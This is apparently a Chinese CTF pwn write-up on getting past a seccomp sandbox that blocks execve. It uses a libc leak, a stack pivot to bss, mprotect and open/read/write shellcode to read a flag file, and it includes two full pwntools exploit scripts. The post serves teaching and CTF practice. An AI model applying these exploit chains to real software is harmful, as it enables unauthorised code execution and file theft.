先说说什么是沙盒吧
沙盒机制也就是我们常说的沙箱,英文名sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
在ctf比赛中,pwn题中的沙盒一般都会限制execve的系统调用,这样一来one_gadget和system调用都不好使,只能采取ORW,即open/read/write的组合方式来读取flag。
例题
废话不多说,直接上例题:
开启NX,64位,动态编译,IDA分析:
打印puts函数地址后栈溢出
第一时间想到了libc做法,但是发现报错了,查看之后发现开启了沙盒:
终端查看指令:seccomp-tools dump ./文件名
其实有时候在IDA里也可以查看是否开启沙盒保护,例如今年的HGAME比赛pwn的第二题:
你可以直接在IDA里看到这一串伪代码,其中seccomp函数就是沙盒保护开启的标志
但是今天我要讲的例题在IDA中看不出来,因此我们使用指令查看(后续会出HGAME题目的分析,有兴趣的朋友可以关注看后续)
继续分析本道例题:
因为题目开启沙盒,限制execve的系统调用,因此我们并不能通过常规的one_gadget和system调用来得到flag,因此我使用了orw的方法来解题
思路如下:
既然题目开始就给了我们puts函数的地址,那我们就可以接收后直接得到libc基址
那就有人要问了,不是不调用system了嘛,还要基址干嘛
这是为了调用mprotect函数,这边为以后做题增加了一个新思路,就是以后有libc基址可以调用mprotect函数
通过调用mprotect函数我们可以修改bss段地址的权限为可读可写可执行(rwx)
随后我们就可以通过open/read/write的组合方式来读取flag
前面求出libc基址,随后我们就可以通过libc基址求出三个函数的地址直接调用读取flag。
你以为到这就完了嘛
其实到这之后还是不行,运行脚本会发现没有执行mprotect函数
这就需要通过栈迁移,将bss段迁到栈上不就可以执行了,不会的朋友可以看看我第一篇博文
https://blog.youkuaiyun.com/2301_79880752/article/details/135721773?spm=1001.2014.3001.5501
实操康康吧:
先看看思路一的吧
首先接收puts函数地址,求出libc基址:
可以看到成功打印出libc基址
接下来需要先查找一个bss段地址,并将其迁到栈上:
在IDA伪代码处Ctrl+s查找bss段地址
可以看到,read函数读入位置也是成功迁移到了bss段上,这样就将bss段迁到了栈上
在写入rop链之前我们还需要计算mprotect的地址,以及其所需要的三个寄存器的地址
mprotect函数的地址只需要用libc基址加上它的偏移即可求出
随后使用指令:ROPgadget --binary 文件名 --only 'pop|ret' 来查找所需的寄存器地址
发现只有一个rdi的地址,并没有rsi跟rdx的,这边就要将一个新的知识点了
有时候我们会发现找不到需要的寄存器,这时候我们可以调用libc里的寄存器,当然这需要远程有提供libc基址
只需要将指令 ROPgadget --binary 文件名 --only 'pop|ret' 文件名改为libc的路径,就可以找到寄存器在libc中的偏移
注意:
找rdx偏移时不能找pop-rdx,要找pop rdx,r12,就是后面得再跟一个,因为高版本的虚拟机会卡
可以看到我们也是成功找到了,值得一提的是,打远程时这些地址需要重新寻找,因为远程的libc库可能跟本地的不一样,找出来的偏移也不一样
这时候我们已经可以调用mprotect函数修改bss段权限了
这里将修改地址后三位改为0,不懂的朋友可以看看我前面专门解释mprotect的博文
https://blog.youkuaiyun.com/2301_79880752/article/details/135828763?spm=1001.2014.3001.5501
接下来就剩下orw了
这里调用orw有两种思路,其一是直接构造open/read/write函数,当然这就需要再通过lilbc去寻找orw的地址,再手搓出rop链了,但这种方法不需要我们再调用mprotec函数修改权限,直接用栈迁移就可以实现,其二是使用asm工具直接生成汇编代码,但这种方法需要调用mprotect函数去修改bss段权限去执行asm生成的汇编代码
这边只为大家讲解第二种思路,因为第二种思路实际上更加节省字节,最后会将两种思路的脚本都给到大家
使用orw,我们需要先调用open函数打开根目录flag文件,再调用read函数从中读入得到的flag,最后调用write函数将flag打印出来
这里因为我们需要从flag中读取数据,因此read函数的第一个参数为3(一般情况下为1)
至此,本题的脚本编写完毕
运行脚本发现确实可以获取flag:
由于这边博🐖打的是本地,因此得到的flag也是博🐖自己本地的,打远程的时候是可以获取远程的flag的,这个大家不用担心
思路一脚本:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn1")
elf=ELF("./pwn1")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
gdb.attach(p)
pause()
rdi=0x00000000004012c3
bss=0x404040+0x200
read=0x401220
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-libc.sym['puts']
print(hex(libc_base))
rsi=libc_base+0x000000000002be51
rdx_r12=libc_base+0x000000000011f497
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']
payload =b'/flag\x00\x00\x00'
payload +=p64(rdi)
payload +=p64(bss+0x20)
payload +=p64(rsi)
payload +=p64(0)
payload +=p64(open_addr)
payload +=p64(rdi)
payload +=p64(3)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(read_addr)
payload +=p64(rdi)
payload +=p64(1)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(write_addr)
pay=b'a'*(0x20)+p64(bss+0x20)+p64(read)
bug()
p.sendline(pay)
pause()
p.send(b'a'*(0x20)+payload)
p.interactive()
思路二脚本:
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=remote("node4.buuoj.cn",29608)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process("./pwn")
elf=ELF("./pwn")
def bug():
gdb.attach(p)
pause()
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-libc.sym['puts']
print(hex(libc_base))
bss=0x404040
rdi=0x00000000004012c3
pay=b'a'*0x20+p64(bss+0x20)+p64(0x401220)
p.send(pay)
pause()
rsi=libc_base+0x000000000002be51
rdx_r12=libc_base+0x000000000011f497
mprotect=libc_base+libc.sym['mprotect']
pay=b'a'*0x28
pay += p64(rdi)
pay += p64(0x404000)
pay += p64(rsi)
pay += p64(0x1000)
pay += p64(rdx_r12)
pay += p64(7)*2
pay += p64(mprotect)
pay += p64(bss+0x28+0x48)
pay += asm(shellcraft.open("/flag"))
pay += asm(shellcraft.read(3,bss+0x500,0x100))
pay += asm(shellcraft.write(1,bss+0x500,0x100))
p.send(pay)
p.interactive()